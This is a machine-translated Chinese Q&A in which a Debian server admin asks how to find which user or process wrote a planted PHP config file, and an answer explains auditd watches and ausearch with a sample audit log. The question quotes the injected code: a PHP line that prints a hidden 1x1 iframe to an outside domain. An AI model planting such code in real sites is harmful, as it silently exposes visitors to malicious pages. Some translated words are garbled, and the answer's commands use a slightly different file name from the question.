如何监视文件/目录的变化

我有一台运行Debian Lenny的服务器。 最近我遇到了一些安全问题。 我特意看到/etc/php5/conf.d中创build了一个名为“php-dev.ini”的文件。 乍一看,文件看起来正常无害,直到你打开它。 它包含:

<?php print "<iframe src='http://google-traf.zyns.com/index.php?tp=4abd7c0637c89d7a' width='1' height='1' frameborder='0'></iframe>"; ?> 

很显然,我知道服务器存在安全问题,所以请把“服务器修好了吗? 响应。 这已经完成了。 该服务器已被检查rootkit,并没有可疑的帐户。 我特别感兴趣的是用户或PID正在写入这个目录,并且正在寻找可以用来帮助我的工具。 我已经研究过“iwatch”和“inotify”,但是在我走下一条研究之路之前,我想要得到别人的反馈。 有谁知道一个好的工具,可以帮助我确定:

  1. 什么用户正在写入这个目录
  2. 什么PID被用来写入文件
  3. 哪个应用程序正在写入这个目录

基本上我正在做一些取证和学习监控文件系统。 任何有识之士将不胜感激。

(编辑引用PHP代码示例,因为它以前没有显示过。)

Linux内核自从2.6系列发布以来,已经有了审计子系统 。 与auditd守护进程和aureportausearch等各种报告工具一起,它允许非常细致的监视。

假设你想要监视/etc/php5/conf.d目录,或者只是/etc/php5/conf.d/php-dev.ini文件。 首先安装auditd并让它运行; 应该像apt-get install auditd一样简单。

然后设置该文件的监视器:

 auditctl -w /etc/php5/conf.d/php5-dev.ini -p war -k uniquekeyforidentifyingthiswatch 

如果您正在审核许多事情,唯一的密钥可以帮助您查找可能较大的日志。

然后,看看这个文件是否有一些有趣的事情发生了:

 ausearch -f /etc/php5/conf.d/php5-dev.ini 

这应该会产生一个类似于这个的报告(我只是为了演示而设置了/etc/elinks.conf ):

 ---- time->Thu Aug 4 09:24:20 2011 type=PATH msg=audit(1312439060.306:71152): item=0 name="/etc/elinks.conf" inode=57674 dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:etc_t:s0 type=CWD msg=audit(1312439060.306:71152): cwd="/home/jpikk/tmp" type=SYSCALL msg=audit(1312439060.306:71152): arch=c000003e syscall=191 success=yes exit=27 a0=2601ce0 a1=3c12015d8b a2=26d1a60 a3=ff items=1 ppid=6643 pid=6672 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 tty=pts7 ses=6075 comm="vim" exe="/usr/bin/vim" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key="uniquekeyforidentifyingthiswatch" ---- time->Thu Aug 4 09:24:20 2011 type=PATH msg=audit(1312439060.306:71153): item=0 name="/etc/elinks.conf" inode=57674 dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:etc_t:s0 type=CWD msg=audit(1312439060.306:71153): cwd="/home/jpikk/tmp" type=SYSCALL msg=audit(1312439060.306:71153): arch=c000003e syscall=2 success=no exit=-13 a0=2601ce0 a1=241 a2=1a4 a3=0 items=1 ppid=6643 pid=6672 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 tty=pts7 ses=6075 comm="vim" exe="/usr/bin/vim" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key="uniquekeyforidentifyingthiswatch" ---- time->Thu Aug 4 09:24:20 2011 type=PATH msg=audit(1312439060.306:71154): item=1 name="/etc/elinks.conf" inode=57674 dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:etc_t:s0 type=PATH msg=audit(1312439060.306:71154): item=0 name="/etc/" inode=12 dev=fd:00 mode=040755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:etc_t:s0 type=CWD msg=audit(1312439060.306:71154): cwd="/home/jpikk/tmp" type=SYSCALL msg=audit(1312439060.306:71154): arch=c000003e syscall=87 success=no exit=-13 a0=2601ce0 a1=0 a2=0 a3=3c107933ac items=2 ppid=6643 pid=6672 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 tty=pts7 ses=6075 comm="vim" exe="/usr/bin/vim" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key="uniquekeyforidentifyingthiswatch" ---- time->Thu Aug 4 09:24:20 2011 type=PATH msg=audit(1312439060.306:71155): item=0 name="/etc/elinks.conf" inode=57674 dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:etc_t:s0 type=CWD msg=audit(1312439060.306:71155): cwd="/home/jpikk/tmp" type=SYSCALL msg=audit(1312439060.306:71155): arch=c000003e syscall=2 success=no exit=-13 a0=2601ce0 a1=241 a2=1a4 a3=3c107933ac items=1 ppid=6643 pid=6672 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 tty=pts7 ses=6075 comm="vim" exe="/usr/bin/vim" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key="uniquekeyforidentifyingthiswatch" 

哇,那里有很多东西。 您将看到文件名和访问的inode编号,原始设备,SELinux上下文(如果使用SELinux),用户/进程尝试执行操作时的当前path,失败/成功的系统调用 ,uid / gid /有效用户的uid和可能的文件系统ACL,tty在哪里完成操作,命令和最终的可执行命令,SELinuxangular色,等等。 我只是打开该文件到vim

进一步的监测可以通过安装grsecurity或SELinux等安全框架来完成。 特别是grsecurity可以是有帮助的,因为使用它你可以更容易地(与SELinux相比)设置一个特殊的用户组,然后你可以logging他们尝试执行的可能的叉子炸弹,信号,chroot逃跑企图等等。 但是,这可能是矫枉过正和负担,你看。